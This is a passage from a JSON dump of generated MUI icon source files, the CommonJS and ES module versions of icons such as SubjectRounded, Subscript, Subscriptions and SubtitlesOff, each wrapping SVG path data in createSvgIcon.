    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 17H5c-.55 0-1 .45-1 1s.45 1 1 1h8c.55 0 1-.45 1-1s-.45-1-1-1m6-8H5c-.55 0-1 .45-1 1s.45 1 1 1h14c.55 0 1-.45 1-1s-.45-1-1-1M5 15h14c.55 0 1-.45 1-1s-.45-1-1-1H5c-.55 0-1 .45-1 1s.45 1 1 1M4 6c0 .55.45 1 1 1h14c.55 0 1-.45 1-1s-.45-1-1-1H5c-.55 0-1 .45-1 1\"\n}), 'SubjectRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubjectRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 17H5c-.55 0-1 .45-1 1s.45 1 1 1h8c.55 0 1-.45 1-1s-.45-1-1-1m6-8H5c-.55 0-1 .45-1 1s.45 1 1 1h14c.55 0 1-.45 1-1s-.45-1-1-1M5 15h14c.55 0 1-.45 1-1s-.45-1-1-1H5c-.55 0-1 .45-1 1s.45 1 1 1M4 6c0 .55.45 1 1 1h14c.55 0 1-.45 1-1s-.45-1-1-1H5c-.55 0-1 .45-1 1\"\n}), 'SubjectRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubjectSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 17H4v2h10zm6-8H4v2h16zM4 15h16v-2H4zM4 5v2h16V5z\"\n}), 'SubjectSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubjectSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 17H4v2h10zm6-8H4v2h16zM4 15h16v-2H4zM4 5v2h16V5z\"\n}), 'SubjectSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubjectTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 17H4v2h10zm6-8H4v2h16zM4 15h16v-2H4zM4 5v2h16V5z\"\n}), 'SubjectTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubjectTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 17H4v2h10zm6-8H4v2h16zM4 15h16v-2H4zM4 5v2h16V5z\"\n}), 'SubjectTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Subscript.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 18h-2v1h3v1h-4v-2c0-.55.45-1 1-1h2v-1h-3v-1h3c.55 0 1 .45 1 1v1c0 .55-.45 1-1 1M5.88 18h2.66l3.4-5.42h.12l3.4 5.42h2.66l-4.65-7.27L17.81 4h-2.68l-3.07 4.99h-.12L8.85 4H6.19l4.32 6.73z\"\n}), 'Subscript');"
  },
  {
    "path": "packages/mui-icons-material/lib/Subscript.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 18h-2v1h3v1h-4v-2c0-.55.45-1 1-1h2v-1h-3v-1h3c.55 0 1 .45 1 1v1c0 .55-.45 1-1 1M5.88 18h2.66l3.4-5.42h.12l3.4 5.42h2.66l-4.65-7.27L17.81 4h-2.68l-3.07 4.99h-.12L8.85 4H6.19l4.32 6.73z\"\n}), 'Subscript');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubscriptOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 18h-2v1h3v1h-4v-2c0-.55.45-1 1-1h2v-1h-3v-1h3c.55 0 1 .45 1 1v1c0 .55-.45 1-1 1M5.88 18h2.66l3.4-5.42h.12l3.4 5.42h2.66l-4.65-7.27L17.81 4h-2.68l-3.07 4.99h-.12L8.85 4H6.19l4.32 6.73z\"\n}), 'SubscriptOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubscriptOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 18h-2v1h3v1h-4v-2c0-.55.45-1 1-1h2v-1h-3v-1h3c.55 0 1 .45 1 1v1c0 .55-.45 1-1 1M5.88 18h2.66l3.4-5.42h.12l3.4 5.42h2.66l-4.65-7.27L17.81 4h-2.68l-3.07 4.99h-.12L8.85 4H6.19l4.32 6.73z\"\n}), 'SubscriptOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubscriptRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.52 10.73 7.3 5.72C6.82 4.97 7.35 4 8.23 4c.39 0 .74.2.95.53l2.76 4.46h.12l2.74-4.45c.21-.34.57-.54.96-.54.88 0 1.42.98.94 1.72l-3.23 5 3.55 5.55c.48.75-.06 1.73-.94 1.73-.38 0-.74-.2-.95-.52l-3.07-4.89h-.12l-3.07 4.89c-.2.32-.56.52-.95.52-.88 0-1.42-.97-.94-1.72zM23 19.5c0-.28-.22-.5-.5-.5H20v-1h2c.55 0 1-.45 1-1v-1c0-.55-.45-1-1-1h-2.5c-.28 0-.5.22-.5.5s.22.5.5.5H22v1h-2c-.55 0-1 .45-1 1v1c0 .55.45 1 1 1h2.5c.28 0 .5-.22.5-.5\"\n}), 'SubscriptRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubscriptRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.52 10.73 7.3 5.72C6.82 4.97 7.35 4 8.23 4c.39 0 .74.2.95.53l2.76 4.46h.12l2.74-4.45c.21-.34.57-.54.96-.54.88 0 1.42.98.94 1.72l-3.23 5 3.55 5.55c.48.75-.06 1.73-.94 1.73-.38 0-.74-.2-.95-.52l-3.07-4.89h-.12l-3.07 4.89c-.2.32-.56.52-.95.52-.88 0-1.42-.97-.94-1.72zM23 19.5c0-.28-.22-.5-.5-.5H20v-1h2c.55 0 1-.45 1-1v-1c0-.55-.45-1-1-1h-2.5c-.28 0-.5.22-.5.5s.22.5.5.5H22v1h-2c-.55 0-1 .45-1 1v1c0 .55.45 1 1 1h2.5c.28 0 .5-.22.5-.5\"\n}), 'SubscriptRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubscriptSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 18v1h3v1h-4v-3h3v-1h-3v-1h4v3zM5.88 18h2.66l3.4-5.42h.12l3.4 5.42h2.66l-4.65-7.27L17.81 4h-2.68l-3.07 4.99h-.12L8.85 4H6.19l4.32 6.73z\"\n}), 'SubscriptSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubscriptSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 18v1h3v1h-4v-3h3v-1h-3v-1h4v3zM5.88 18h2.66l3.4-5.42h.12l3.4 5.42h2.66l-4.65-7.27L17.81 4h-2.68l-3.07 4.99h-.12L8.85 4H6.19l4.32 6.73z\"\n}), 'SubscriptSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubscriptTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 18h-2v1h3v1h-4v-2c0-.55.45-1 1-1h2v-1h-3v-1h3c.55 0 1 .45 1 1v1c0 .55-.45 1-1 1M5.88 18h2.66l3.4-5.42h.12l3.4 5.42h2.66l-4.65-7.27L17.81 4h-2.68l-3.07 4.99h-.12L8.85 4H6.19l4.32 6.73z\"\n}), 'SubscriptTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubscriptTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 18h-2v1h3v1h-4v-2c0-.55.45-1 1-1h2v-1h-3v-1h3c.55 0 1 .45 1 1v1c0 .55-.45 1-1 1M5.88 18h2.66l3.4-5.42h.12l3.4 5.42h2.66l-4.65-7.27L17.81 4h-2.68l-3.07 4.99h-.12L8.85 4H6.19l4.32 6.73z\"\n}), 'SubscriptTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Subscriptions.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 8H4V6h16zm-2-6H6v2h12zm4 10v8c0 1.1-.9 2-2 2H4c-1.1 0-2-.9-2-2v-8c0-1.1.9-2 2-2h16c1.1 0 2 .9 2 2m-6 4-6-3.27v6.53z\"\n}), 'Subscriptions');"
  },
  {
    "path": "packages/mui-icons-material/lib/Subscriptions.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 8H4V6h16zm-2-6H6v2h12zm4 10v8c0 1.1-.9 2-2 2H4c-1.1 0-2-.9-2-2v-8c0-1.1.9-2 2-2h16c1.1 0 2 .9 2 2m-6 4-6-3.27v6.53z\"\n}), 'Subscriptions');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubscriptionsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 6h16v2H4zm2-4h12v2H6zm14 8H4c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-8c0-1.1-.9-2-2-2m0 10H4v-8h16zm-10-7.27v6.53L16 16z\"\n}), 'SubscriptionsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubscriptionsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 6h16v2H4zm2-4h12v2H6zm14 8H4c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-8c0-1.1-.9-2-2-2m0 10H4v-8h16zm-10-7.27v6.53L16 16z\"\n}), 'SubscriptionsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubscriptionsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 8H5c-.55 0-1-.45-1-1s.45-1 1-1h14c.55 0 1 .45 1 1s-.45 1-1 1m-2-6H7c-.55 0-1 .45-1 1s.45 1 1 1h10c.55 0 1-.45 1-1s-.45-1-1-1m5 10v8c0 1.1-.9 2-2 2H4c-1.1 0-2-.9-2-2v-8c0-1.1.9-2 2-2h16c1.1 0 2 .9 2 2m-6.81 3.56L10 12.73v6.53l5.19-2.82c.35-.19.35-.69 0-.88\"\n}), 'SubscriptionsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubscriptionsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 8H5c-.55 0-1-.45-1-1s.45-1 1-1h14c.55 0 1 .45 1 1s-.45 1-1 1m-2-6H7c-.55 0-1 .45-1 1s.45 1 1 1h10c.55 0 1-.45 1-1s-.45-1-1-1m5 10v8c0 1.1-.9 2-2 2H4c-1.1 0-2-.9-2-2v-8c0-1.1.9-2 2-2h16c1.1 0 2 .9 2 2m-6.81 3.56L10 12.73v6.53l5.19-2.82c.35-.19.35-.69 0-.88\"\n}), 'SubscriptionsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubscriptionsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 8H4V6h16zm-2-6H6v2h12zm4 8v12H2V10zm-6 6-6-3.27v6.53z\"\n}), 'SubscriptionsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubscriptionsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 8H4V6h16zm-2-6H6v2h12zm4 8v12H2V10zm-6 6-6-3.27v6.53z\"\n}), 'SubscriptionsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubscriptionsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 20h16v-8H4zm6-7.27L16 16l-6 3.26z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 6h16v2H4zm2-4h12v2H6zm14 8H4c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-8c0-1.1-.9-2-2-2m0 10H4v-8h16zm-10-7.27v6.53L16 16z\"\n}, \"1\")], 'SubscriptionsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubscriptionsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 20h16v-8H4zm6-7.27L16 16l-6 3.26z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 6h16v2H4zm2-4h12v2H6zm14 8H4c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-8c0-1.1-.9-2-2-2m0 10H4v-8h16zm-10-7.27v6.53L16 16z\"\n}, \"1\")], 'SubscriptionsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Subtitles.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M4 12h4v2H4zm10 6H4v-2h10zm6 0h-4v-2h4zm0-4H10v-2h10z\"\n}), 'Subtitles');"
  },
  {
    "path": "packages/mui-icons-material/lib/Subtitles.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M4 12h4v2H4zm10 6H4v-2h10zm6 0h-4v-2h4zm0-4H10v-2h10z\"\n}), 'Subtitles');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubtitlesOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H6.83l8 8H20v2h-3.17l4.93 4.93c.15-.28.24-.59.24-.93V6c0-1.1-.9-2-2-2M1.04 3.87l1.2 1.2C2.09 5.35 2 5.66 2 6v12c0 1.1.9 2 2 2h13.17l2.96 2.96 1.41-1.41L2.45 2.45zM8 12v2H4v-2zm6 4.83V18H4v-2h9.17z\"\n}), 'SubtitlesOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubtitlesOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H6.83l8 8H20v2h-3.17l4.93 4.93c.15-.28.24-.59.24-.93V6c0-1.1-.9-2-2-2M1.04 3.87l1.2 1.2C2.09 5.35 2 5.66 2 6v12c0 1.1.9 2 2 2h13.17l2.96 2.96 1.41-1.41L2.45 2.45zM8 12v2H4v-2zm6 4.83V18H4v-2h9.17z\"\n}), 'SubtitlesOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubtitlesOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H6.83l2 2H20v11.17l1.76 1.76c.15-.28.24-.59.24-.93V6c0-1.1-.9-2-2-2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 10h-5.17l2 2H18zM1.04 3.87l1.2 1.2C2.09 5.35 2 5.66 2 6v12c0 1.1.9 2 2 2h13.17l2.96 2.96 1.41-1.41L2.45 2.45zM4 6.83 7.17 10H6v2h2v-1.17L11.17 14H6v2h7.17l2 2H4z\"\n}, \"1\")], 'SubtitlesOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubtitlesOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H6.83l2 2H20v11.17l1.76 1.76c.15-.28.24-.59.24-.93V6c0-1.1-.9-2-2-2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 10h-5.17l2 2H18zM1.04 3.87l1.2 1.2C2.09 5.35 2 5.66 2 6v12c0 1.1.9 2 2 2h13.17l2.96 2.96 1.41-1.41L2.45 2.45zM4 6.83 7.17 10H6v2h2v-1.17L11.17 14H6v2h7.17l2 2H4z\"\n}, \"1\")], 'SubtitlesOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubtitlesOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H6.83l8 8H19c.55 0 1 .45 1 1s-.45 1-1 1h-2.17l4.93 4.93c.15-.28.24-.59.24-.93V6c0-1.1-.9-2-2-2m0 16-6-6-1.71-1.71L12 12 3.16 3.16a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l.49.49c-.15.29-.24.6-.24.94v12c0 1.1.9 2 2 2h13.17l2.25 2.25c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41zM8 13c0 .55-.45 1-1 1H5c-.55 0-1-.45-1-1s.45-1 1-1h2c.55 0 1 .45 1 1m6 4c0 .55-.45 1-1 1H5c-.55 0-1-.45-1-1s.45-1 1-1h8c.08 0 .14.03.21.04l.74.74c.02.08.05.14.05.22\"\n}), 'SubtitlesOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubtitlesOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H6.83l8 8H19c.55 0 1 .45 1 1s-.45 1-1 1h-2.17l4.93 4.93c.15-.28.24-.59.24-.93V6c0-1.1-.9-2-2-2m0 16-6-6-1.71-1.71L12 12 3.16 3.16a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l.49.49c-.15.29-.24.6-.24.94v12c0 1.1.9 2 2 2h13.17l2.25 2.25c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41zM8 13c0 .55-.45 1-1 1H5c-.55 0-1-.45-1-1s.45-1 1-1h2c.55 0 1 .45 1 1m6 4c0 .55-.45 1-1 1H5c-.55 0-1-.45-1-1s.45-1 1-1h8c.08 0 .14.03.21.04l.74.74c.02.08.05.14.05.22\"\n}), 'SubtitlesOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubtitlesOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m6.83 4 8 8H20v2h-3.17L22 19.17V4zm-5.79-.13.96.96V20h15.17l2.96 2.96 1.41-1.41L2.45 2.45zM4 12h4v2H4zm0 4h9.17l.83.83V18H4z\"\n}), 'SubtitlesOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubtitlesOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m6.83 4 8 8H20v2h-3.17L22 19.17V4zm-5.79-.13.96.96V20h15.17l2.96 2.96 1.41-1.41L2.45 2.45zM4 12h4v2H4zm0 4h9.17l.83.83V18H4z\"\n}), 'SubtitlesOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubtitlesOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m8.83 6 4 4H18v2h-3.17L20 17.17V6zm6.34 12-2-2H6v-2h5.17L8 10.83V12H6v-2h1.17L4 6.83V18z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 10h-5.17l2 2H18z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 